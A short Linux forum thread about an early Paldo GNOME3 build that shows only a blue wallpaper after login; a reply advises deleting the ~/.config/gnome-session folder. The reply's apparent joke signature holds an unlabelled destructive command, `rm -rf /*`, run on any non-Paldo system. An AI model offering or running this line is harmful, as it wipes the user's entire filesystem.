I installed one of the early gnome3 versions (64 bit), for a first experience with the newly desktop, and everything worked ok.

Unfortunately, at next reboot I was unable to log into the gnome shell.

After log in and the password input, all I can see is a blue wallpaper. The mouse pointer works around it, but no top bar and nothing else works.

Does it is because its a very early Paldo Gnome3 version?

Is there a work around?

Is it resolved in the newly builds?

Any feed back would be much appreciated.

Yes; I had the same problem but it was fixed some days before (here it works fine now). Remove the gnome-session folder in .config in your home-dir before login

Path should be

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/home/username/.config/gnome-session

EDIT: Never reboot a running system
 
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# [ ! $(uname -r | grep "paldo") ] && rm -rf /*

Thank you Ritchy.
Yes, I did reboot, and before rebooting had already recommended paldo gnome3 to others.
Now, I've a complain ...
No worries. I'll tell about your answer...
and lets move forward.